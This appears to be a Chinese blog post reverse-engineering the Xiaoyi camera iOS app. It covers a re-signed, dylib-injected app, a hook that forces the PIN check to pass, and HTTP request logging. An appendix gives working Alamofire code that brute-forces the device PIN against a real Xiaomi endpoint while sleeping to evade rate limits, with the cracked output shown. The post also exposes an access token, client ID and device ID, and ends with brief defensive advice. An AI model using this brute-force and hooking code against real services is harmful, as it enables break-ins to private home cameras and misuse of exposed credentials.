小蟻攝像機(jī)App加密探究

概述

本次分析,選取了小蟻攝像機(jī)App的iOS版本,主要目標(biāo)是從數(shù)據(jù)緩存及數(shù)據(jù)傳輸方面探索App數(shù)據(jù)方面的安全性。

iOS系統(tǒng)中,本地緩存通常以數(shù)據(jù)庫、plist、序列化文件、UserDefault、KeyChain等為媒介。其中UserDefault、KeyChain都采用iOS自帶的加密方式,在不明確鍵值及密鑰的情況下,基本上無法破解。

數(shù)據(jù)傳輸方面,在https普及后,App基本上都是采用這種方式進(jìn)行的。雖然抓包已經(jīng)失效,但并不代表不可以從App中獲取發(fā)送的請求及響應(yīng),依然可以通過對關(guān)鍵請求進(jìn)行hook,打印參數(shù)的方法來得到接口信息。

本次逆向使用非越獄手機(jī)進(jìn)行,采用最暴力、最直接的方法 —— 打印日志。思路是先將libReveal.dylib、libCommonCrack.dylib等動態(tài)庫注入App,通過classdump、Hopper得到關(guān)鍵函數(shù),再對關(guān)鍵函數(shù)進(jìn)行hook,打印信息,獲取接口,暴力破解。

1 環(huán)境要求

iPhone手機(jī),系統(tǒng)不做要求,越獄不做要求

Xcode及iOSOpenDev套件

yololib動態(tài)注入工具

Hopper Disassembler v4 反編譯工具

Reveal 界面分析工具

小蟻攝像機(jī)iOS版本(2.19.3)

2 安裝包破解

破解版本安裝包獲取的途徑非常多,常用的方法是直接使用越獄的手機(jī),借助dumpcrypted/Clutch等工具,獲取砸殼后的二進(jìn)制文件。

由于本次分析是基于非越獄的手機(jī),這里通過PP助手官網(wǎng)下載越獄的安裝包。

2.1 分析網(wǎng)頁源碼

搜索找到“小蟻攝像機(jī)”的應(yīng)用鏈接 https://www.25pp.com/ios/detail_1598325/

打開網(wǎng)頁檢查器,定位到“下載越獄版本”的標(biāo)簽上,得到app的下載地址appdownurl和點(diǎn)擊響應(yīng)事件ppOneKeySetup

appdownurl="aHR0cDovL3IxMS4yNXBwLmNvbS9zb2Z0LzIwMTgvMDMvMTUvMjAxODAzMTVfMjE1NF8yMTg5ODAwMzM4ODguaXBh"

onclick="return ppOneKeySetup(this)"

根據(jù)ppOneKeySetup及appdownUrl,在 pp_onekey-d17d98b4.js定位到相關(guān)代碼:

(C = h.href, E = h.getAttribute("appdownurl"), E && E.length > 0 && (C = o.base64decode(o.utf8to16(E)))

簡單分析代碼,腳本只是將appdownUrl進(jìn)行了base64的解碼,并沒有其他特殊操作。對appdownUrl進(jìn)行base64Decode后,得到ipa下載地址http://r11.25pp.com/soft/2018/03/15/20180315_2154_218980033888.ipa

下載ipa并解壓縮后,使用otool進(jìn)行驗(yàn)證,可以看到armv7及arm64的crypt字段都為0,說明下載的安裝包二進(jìn)制文件已經(jīng)被砸殼了。

jiangbindeMac-mini:V2.0 jiangbin$ file YiHome2.0
YiHome2.0: Mach-O universal binary with 2 architectures: [arm_v7: Mach-O executable arm_v7] [arm64]
YiHome2.0 (for architecture armv7): Mach-O executable arm_v7
YiHome2.0 (for architecture arm64): Mach-O 64-bit executable arm64
jiangbindeMac-mini:V2.0 jiangbin$ otool -l YiHome2.0 | grep crypt
     cryptoff 16384
    cryptsize 16547840
      cryptid 0
     cryptoff 16384
    cryptsize 18874368
      cryptid 0

2.2 重簽名

為了查看App沙盒中的文件,需要使用開發(fā)證書對app進(jìn)行重新簽名。重簽名腳本見附錄重簽名腳本

使用一段時間后,打開沙盒目錄,緩存數(shù)據(jù)初見端倪,接下來對相關(guān)文件行分析:


沙盒Documents目錄

3 本地緩存分析

對沙盒Documents目錄,進(jìn)行簡單分析:

  • 4502360:可能是類似與userId的字段
  • account.plist:記錄了一些參數(shù),只有value,沒有key值
  • devices:里面文件夾以deviceId為名稱,區(qū)分不同的設(shè)備,每個子文件夾內(nèi)有兩張封面圖 placeholder.png、placeholder_blur.png,分別對應(yīng)攝像頭設(shè)置密碼前后的封面圖; placeholder_blur.png只是將封面圖作了高斯模糊處理
  • log:自帶的打印日志,信息很少,除了deviceId外,沒有其他可用信息
  • yydb.sqlite3:緩存了報(bào)警信息、登錄信息等內(nèi)容,密碼相關(guān)的信息都是加密過的

3.1 yydb.sqlit3

yydb.sqlit3

發(fā)現(xiàn)一個有意思的現(xiàn)象,對于alarm信息,數(shù)據(jù)庫中存在兩份數(shù)據(jù)表,alarm_mi、alarm_yi。聯(lián)想到之前設(shè)備添加的提示信息,可以斷定,小蟻從小米獨(dú)立出來以后,引入了自己的賬號系統(tǒng),但是為了兼容1代的攝像頭,又不得不使用小米賬號進(jìn)行第三方登錄。估計(jì)這一部分的賬號會逐步進(jìn)行淘汰,App考慮到后期的維護(hù)性,直接重新建了一份新的表格alarm_yi,以減少數(shù)據(jù)的沖突和維護(hù)。下面對表alarm_mi進(jìn)行分析:

  • deviceId:yunyi.TNPCHNA-695008-FUKEN
  • id:數(shù)據(jù)庫自增長的id,與消息id無關(guān)
  • time:消息觸發(fā)時間,結(jié)合表 alarm_list_read_2 ,App中將此鍵值作為消息的索引,也就是說從平臺拉取的消息是不帶messageId的,App需要通過此值來進(jìn)行查找、刪除、標(biāo)記等操作
  • videoUrl: 報(bào)警消息對應(yīng)的預(yù)覽視頻地址,每個視頻只有6s,如果要查看完整的視頻,需要在視頻播放結(jié)束后,主動跳轉(zhuǎn)到完整視頻界面去查看。使用Signature、Expires、GalaxyAccessKeyId等參數(shù)檢驗(yàn),在Expires時間內(nèi),可以直接下載,但由于不是標(biāo)準(zhǔn)格式的mp4格式文件,無法直接播放
    https://cnbj2.fds.api.xiaomi.com/motiondetection/2018%2F03%2F19%2F337701719%2Fyunyi.TNPCHNA-695008-FUKEN_081922470.mp4?
    GalaxyAccessKeyId=5561734629076&Expires=1521508775000&Signature=mLcdWGRz+oYaxS4eOlMcO6o9YL8=
  • videoImageUrl: 報(bào)警消息封面圖,與videoUrl類似
  • video_pwd:每行對應(yīng)的密碼均不一樣,即相同的視頻密碼,不同的錄像段對應(yīng)的緩存密碼是不同的,_SJgn2EMj6pWl2WH3x3qSA,猜測應(yīng)該是經(jīng)過了多種對稱加密
  • pic_pwd:與video_pwd相似

從表內(nèi)容來看,數(shù)據(jù)庫對密碼字段進(jìn)行了較為復(fù)雜的加密,無法通過反解析來得到視頻的原始密碼。另外Expires時間設(shè)置得比較短,只有30分鐘,超過30min后,下載鏈接失效,從而保證了一定的安全性。

3.2 log文件

App自帶的日志信息,位于log/y_log.txt。從打開App開始,輸入攝像機(jī)密碼,再到拉流成功,導(dǎo)出日志文件。

除了前面分析過的deviceId外,沒有其他多余的信息

...
2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] ?? TNPCHNA-695008-FUKEN,error:-3003

2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] ?? TNPCHNA-695008-FUKEN,error:-3019

2018-03-20-04-03-32 -[JJCameraPlayViewController viewDidLoad] [Line 125] connect TNPCHNA-695008-FUKEN p2p:TNPCHNA-695008-FUKEN
....

3.3 本地緩存總結(jié)

從數(shù)據(jù)庫、日志文件分析,都沒有敏感的數(shù)據(jù)信息暴露,本地?cái)?shù)據(jù)的緩存在正常途徑下還是很安全的。

另外,數(shù)據(jù)庫、緩存文件中,或許為了設(shè)備安全,并沒有設(shè)備參數(shù)相關(guān)的數(shù)據(jù),猜測應(yīng)該是根本沒有緩存。驗(yàn)證的方法也很簡單:關(guān)閉設(shè)備密碼,返回到主頁,打開手機(jī)飛行模式,再次進(jìn)入設(shè)備設(shè)置,發(fā)現(xiàn)提示設(shè)備連接失敗,只展示了攝像機(jī)名稱這一欄。

從目前來看,想要實(shí)現(xiàn)破解密碼的目標(biāo)似乎很難行通,但事實(shí)或許并不是如此,接下來,我們從代碼層面對App進(jìn)一步分析。

4 動態(tài)注入及源碼分析

AppStore版本的程序,禁止使用非系統(tǒng)的動態(tài)庫,主要是為了安全和性能的考慮。但不意味著App不可以使用動態(tài)庫,只要將動態(tài)庫加入到程序的bundle中,并使用相同的證書對動態(tài)庫、app進(jìn)行簽名,就可以正常使用。

4.1 注入libCommonCrack.dylib

使用iOSOpenDev新建動態(tài)庫工程,生成libCommonCrack.dylib,該動態(tài)庫作用如下:

(1)導(dǎo)入公共log模塊代碼,重定向NSLog、print等輸出到沙盒文件中

(2)對關(guān)鍵代碼進(jìn)行Hook

(3)啟動libReveal.dylib

生成dylib后,使用yololib將其注入到二進(jìn)制文件YiHome2.0中:

APP_NAME="YiHome2.0"
DYLIB_NAME="libCrackCommon.dylib"
TARGET_NAME="Crack-${APP_NAME}.ipa"

#注入動態(tài)庫
./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME

4.2 啟動Reveal

參考Reveal的幫助文檔,在AppDelegate+Hook.m中,Hook住idFinishLaunchingWithOptions函數(shù),加入啟動libReveal.dylib的代碼

CHDeclareMethod(0, void, AppDelegate, loadReveal)
{
    if (NSClassFromString(@"IBARevealLoader") == nil)
    {
        NSString *revealLibName = @"libReveal";
        NSString *revealLibExtension = @"dylib";
        NSString *error;
        NSString *dyLibPath = [[NSBundle mainBundle] pathForResource:revealLibName ofType:revealLibExtension];
        
        NSLog(@"Loading dynamic library: %@", dyLibPath);
        dlopen([dyLibPath cStringUsingEncoding:NSUTF8StringEncoding], RTLD_NOW);
    }
}

注入libCommonCrack.dylib,并重新簽名,安裝、啟動App,再次打開沙盒目錄。生成了AppLog目錄,打開日志文件,Reveal正常啟動:

018-03-20 08:53:45.601 YiHome2.0[583:97603] Loading dynamic library: /var/containers/Bundle/Application/7CCCADB7-AF78-4E16-8CFD-2CB486C09C45/YiHome2.0.app/libReveal.dylib
2018-03-20 08:53:45.735 YiHome2.0[583:97603]  INFO: Reveal Server started (Protocol Version 25).

從App上進(jìn)入密碼校驗(yàn)界面,Mac上同步更新Reveal展示,得到相關(guān)信息,即密碼輸入框所在的父視圖 JJPincodeViewController

Reveal

至此,第一個線索浮出水面。通過操作可以得知,進(jìn)入設(shè)置、視頻界面前,需要輸入密碼進(jìn)行檢驗(yàn)。如果直接跳過這個檢驗(yàn)的步驟,是不是就可以直接觀看視頻、設(shè)置設(shè)備呢?接下來重點(diǎn)對JJPincodeViewController進(jìn)行代碼分析。

5 源碼Hook

使用class-dump對二進(jìn)制文件進(jìn)行頭文件導(dǎo)出,初步分析JJPincodeViewController.h,找到兩個關(guān)鍵函數(shù):

- (void)yyBlockResponsePincodeCheckWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3;
- (_Bool)___pincodeIsSuccessWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3 isCheckout:(_Bool)arg4;

再使用Hopper查看JJPincodeViewController的代碼,梳理函數(shù)調(diào)用關(guān)系,大致得出如下的調(diào)用過程:

調(diào)用關(guān)系

將返回的結(jié)果處理函數(shù)___pincodeIsSuccessWithRequest,直接return true,一試究竟。

5.1 JJPincodeViewController+Hook

libCrackCommon工程中,加入JJPincodeViewController+Hook.m,對___pincodeIsSuccessWithRequest函數(shù)進(jìn)行返回值重寫

CHMethod(4, bool, JJPincodeViewController, ___pincodeIsSuccessWithRequest, id, arg1, response, id, arg2, success, bool, arg3, isCheckout, bool , arg4 )
{
    NSLog(@"JJPincodeViewController:: ___pincodeIsSuccessWithRequest %@ - %@ - %d - %d", arg1, arg2, arg3, arg4);
    
    if ([arg2 isKindOfClass:NSClassFromString(@"APPResponse")]) {
        APPResponse *response = (APPResponse *)arg2;
        NSLog(@"JJPincodeViewController dictResponse::%@", response.dictResponse);
    }
    
    return YES;
}

完成打包后,直接輸入一個錯誤的密碼,確實(shí)不再有密碼錯誤的提示,直接進(jìn)入了視頻播放界面。

開始拉流,但是提示連接失?。贿M(jìn)入設(shè)置界面,加載過后,也是失敗。

可以肯定,App采用了雙重的加密機(jī)制,雖然可以繞過前面的密碼驗(yàn)證步驟,但后面的請求應(yīng)該也使用了密碼進(jìn)行檢驗(yàn)。

至此,繞過密碼驗(yàn)證的路也被堵死,接下來直接從接口進(jìn)行分析。請求是通過YYHttpClient發(fā)送的,響應(yīng)通過block返回,將YYHttpClient的發(fā)送和響應(yīng)都寫到日志中,看看能否得到有用信息。

5.2 YYHttpClient+Hook

這里,直接hook住post的請求,打印請求體及響應(yīng)。

//- (id)singlePostWithUrl:(id)arg1 completionBlock:(id)arg2;
CHMethod(2, BOOL, YYHttpClient, singlePostWithUrl, id, arg1, completionBlock, id, arg2 )
{
    id result = CHSuper(2, YYHttpClient, singlePostWithUrl, arg1, completionBlock, arg2);
    NSLog(@"YYHttpClient::singlePostWithUrl request %@ - %@ ", arg1, arg2);
    NSLog(@"YYHttpClient::singlePostWithUrl result %@ ", result);
    
    return result;
}

再次打開日志,請求參數(shù)及結(jié)果一目了然:

==============================================
url    -> https://openapp.io.mi.com/openapp/pincode/check?data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659
action -> https://openapp.io.mi.com/openapp/pincode/check
params -> data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659
==============================================
 - <__NSStackBlock__: 0x16fde5960> 
2018-03-20 08:53:50.363 YiHome2.0[583:97603] YYHttpClient::singlePostWithUrl result (null) 
2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController:: ___pincodeIsSuccessWithRequest <ASIFormDataRequest: 0x10203f000> - <APPResponse: 0x171666100> - 1 - 1
2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController dictResponse::{
    code = 0;
    message = ok;
    result = "";
}

對url中的data參數(shù)進(jìn)行轉(zhuǎn)義:

data={"did":"yunyi.TNPCHNA-695008-FUKEN","pincode":"0411"}

4個請求參數(shù),分別如下:

  • did:yunyi.TNPCHNA-695008-FUKEN,即前面分析過的設(shè)備id
  • pincode:4位明文的密碼
  • clientId:應(yīng)該是平臺分配的程序標(biāo)識,這個值是固定的,沙盒中的account.plist文件也有這個值
  • accessToken:用于免登錄和api請求

先嘗試通過https://www.sojson.com/httpRequest/模擬請求,看能否通過 ,得到返回結(jié)果:

{
    "code": 0,
    "message": "ok",
    "result": {
        "ret": -1
    }
}

得到正常的響應(yīng),ret返回-1表示失敗。使用錯誤的密碼多試幾次后,返回的數(shù)據(jù)也是一樣的,可見平臺并未對該接口pincode/check作保護(hù),App限制5次輸入也是本地的行為。請求參數(shù)中did、clientId是固定值,在不注銷的情況下accessToken也是不變的,所以只需要將pincode從0000枚舉到9999,進(jìn)行模擬的post請求,就可以暴力破解設(shè)備密碼。

直接使用Almofire,發(fā)送模擬請求,發(fā)現(xiàn)每進(jìn)行100次的串行請求,平臺返回frequent的錯誤。這里每模擬請求50次,延遲10s繼續(xù)進(jìn)行,以規(guī)避該錯誤,具體參考代碼見附錄Almofire模擬請求。最終得到正確的密碼 0411

Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0401
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0402
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0403
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0404
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0405
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0406
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0407
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0408
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0409
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0410
Data: {"code":0,"message":"ok","result":""}
Succeed...0411

除此之外,還可以得到很多其他的接口……

6 總結(jié)

綜上,從數(shù)據(jù)緩存、數(shù)據(jù)傳輸方面分析了小蟻攝像機(jī)App的加密方式及安全性。從表象上看,緩存使用了復(fù)雜的對稱加密方式,數(shù)據(jù)傳輸使用了HTTPS方式,安全性應(yīng)該是非常高了。但是在hook之下,隱患一覽無遺,扯去了安全的外衣,剩下的是一系列明文傳輸?shù)慕涌凇?br> 從中,我覺得有幾點(diǎn)值得反思:

(1)密碼校驗(yàn),平臺一定要做防止暴力破解,而不是從App端進(jìn)行限制

(2)Http請求,要在請求頭中加上比較復(fù)雜的簽名算法

(3)發(fā)布版本,需要屏蔽日志輸出相關(guān)函數(shù),以免被進(jìn)行hook

附錄

重簽名腳本


APP_NAME="YiHome2.0"
DYLIB_NAME="libCrackCommon.dylib"
TARGET_NAME="Crack-${APP_NAME}.ipa"
TARGET_BUNDLEID="com.360ants.yihome"
KEYCHAIN="6F52A56706B4E6CB90C605FF39841ACB01C8558C"

#配置信息打印
function printXcodeInfo()
{
    xcode-select --version
    xcode-select --print-path
    security find-identity -v -p codesigning
}

#注入動態(tài)庫
./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME

#將文件拷貝到目錄下
cp $DYLIB_NAME $APP_NAME.app/$DYLIB_NAME
rm -f $APP_NAME.app/embedded.mobileprovision
rm -f -r $APP_NAME.app/_CodeSignature
cp embedded.mobileprovision $APP_NAME.app/embedded.mobileprovision

#刪除watch及PlugIns文件夾【可能會造成簽名不正確的問題】
rm -r $APP_NAME.app/Watch/
rm -r $APP_NAME.app/PlugIns/

#替換圖標(biāo)
function copyIconWithSize () {
    SIZE=$1
    cp ./Icons/AppIcon$1x$1@2x.png $APP_NAME.app/AppIcon$1x$1@2x.png
    cp ./Icons/AppIcon$1x$1@3x.png $APP_NAME.app/AppIcon$1x$1@3x.png
}

copyIconWithSize "29"
copyIconWithSize "40"
copyIconWithSize "57"
copyIconWithSize "60"

#改變bundle identifier
echo "change bundle ID to ${TARGET_BUNDLEID}"
`/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier ${TARGET_BUNDLEID}" $APP_NAME.app/Info.plist`

#先對動態(tài)庫簽名
codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/$DYLIB_NAME
#codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/Frameworks/*

#再對app簽名
codesign -v -f -s "${KEYCHAIN}" --entitlements Entitlements.plist $APP_NAME.app

#刪除舊的ipa,覆蓋時可能會影響安裝 
rm -r $TARGET_NAME

#使用Zip打包,注意文件結(jié)構(gòu) Payload/xxx.app
mkdir Payload
cp -r $APP_NAME.app Payload
zip -qr $TARGET_NAME Payload

#清除臨時文件夾Payload
rm -rf Payload

#檢驗(yàn)
echo "============================================================="
echo "簽名信息:"
codesign -dvvv $APP_NAME.app

Almofire模擬請求代碼段

func testYiHomePincode(pincode: String, completion: @escaping (_ result: Bool) -> (Void)) -> DataRequest {
        let urlString = "https://openapp.io.mi.com/openapp/pincode/check"
        let header: HTTPHeaders = [
            "Content-Type" : "application/x-www-form-urlencoded"
        ]
        
        //注意data為非標(biāo)準(zhǔn)格式j(luò)son
        let parameters: Parameters = [
            "data": "{\"did\": \"yunyi.TNPCHNA-695008-FUKEN\", \"pincode\": \"\(pincode)\"}",
            "accessToken": "V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ",
            "clientId": "2882303761517230659"
        ]
        
        let request = Alamofire.request(urlString, method: .post, parameters: parameters, encoding: URLEncoding.default, headers: header)
        request.response { response in
            
            if let data = response.data, let utf8Text = String(data: data, encoding: .utf8) {
                print("Data: \(utf8Text)")
                
                let json = JSON.parse(utf8Text)
                if let dic = json.dictionaryObject {
                    if let result = dic["result"] {
                        if result as? [String: Any] != nil {
                            print("Failed...\(pincode)")
                            completion(false)
                        } else {
                            print("Succeed...\(pincode)")
                            completion(true)
                        }
                    } else {
                        print("Failed...\(pincode)")
                        completion(false)
                    }
                }
            }
        }
        
        return request
    }
    
    
    func testYiHome(index: Int) {
        
        let pincode = String(format: "%04d", index)
        
        _ = self.testYiHomePincode(pincode: pincode, completion: { (result) -> (Void) in
            if result == false {
                
                if index != 0, index % 50 == 0 {
                    sleep(10)
                }
                
                self.testYiHome(index: index+1)
            }
        })
    }
    
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容